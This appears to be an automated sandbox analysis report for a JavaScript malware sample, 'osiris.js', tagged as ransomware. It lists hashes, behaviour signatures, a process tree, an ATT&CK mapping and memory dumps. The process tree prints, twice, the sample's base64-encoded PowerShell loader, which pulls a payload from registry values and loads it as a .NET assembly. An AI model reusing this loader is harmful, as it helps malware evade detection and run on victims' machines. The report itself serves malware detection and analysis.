20d1df07b4e17ee0821043733106bd179a520acd9ec307bdb1703df17cbf6ee7

General

Target

osiris.js
Size

2.5MB
MD5

e00ccaf47b31887d18ccc6d80aaa2a39
SHA1

60b574bcda0024cf90ec3f7e97db28c58cc79552
SHA256

20d1df07b4e17ee0821043733106bd179a520acd9ec307bdb1703df17cbf6ee7
SHA512

5c3181b5440ac31079c8651d752ad890d84b5ee692b37168866e8c0bef1abfcc8d77311c5df7a7e0e72ad33c9ab999e4b096a199c832e42778565be2ede9c4c6

Score

5^/10

ransomware

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1292 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1292 powershell.exe
1292 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1292 powershell.exe

pid	process
1292	powershell.exe

pid	process
1292	powershell.exe
1292	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 308 wrote to memory of 1404	308	wscript.exe	cmd.exe
PID 308 wrote to memory of 1404	308	wscript.exe	cmd.exe
PID 308 wrote to memory of 1404	308	wscript.exe	cmd.exe
PID 1404 wrote to memory of 1292	1404	cmd.exe	powershell.exe
PID 1404 wrote to memory of 1292	1404	cmd.exe	powershell.exe
PID 1404 wrote to memory of 1292	1404	cmd.exe	powershell.exe
PID 1404 wrote to memory of 1292	1404	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\osiris.js
1⤵
- Suspicious use of WriteProcessMemory
PID:308

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
2⤵
- Suspicious use of WriteProcessMemory
PID:1404

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1292

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/308-3-0x0000000002EC0000-0x0000000002EC4000-memory.dmp

Filesize
16KB

Download
memory/1292-9-0x0000000004820000-0x0000000004821000-memory.dmp

Filesize
4KB

Download
memory/1292-11-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1292-5-0x0000000075AE1000-0x0000000075AE3000-memory.dmp

Filesize
8KB

Download
memory/1292-6-0x0000000074120000-0x000000007480E000-memory.dmp

Filesize
6.9MB

Download
memory/1292-7-0x0000000000A40000-0x0000000000A41000-memory.dmp

Filesize
4KB

Download
memory/1292-8-0x0000000004860000-0x0000000004861000-memory.dmp

Filesize
4KB

Download
memory/1292-4-0x0000000000000000-mapping.dmp

Download
memory/1292-29-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1292-10-0x0000000004822000-0x0000000004823000-memory.dmp

Filesize
4KB

Download
memory/1292-12-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1292-15-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/1292-20-0x00000000060C0000-0x00000000060C1000-memory.dmp

Filesize
4KB

Download
memory/1292-21-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1292-22-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/1404-2-0x0000000000000000-mapping.dmp

Download

Analysis

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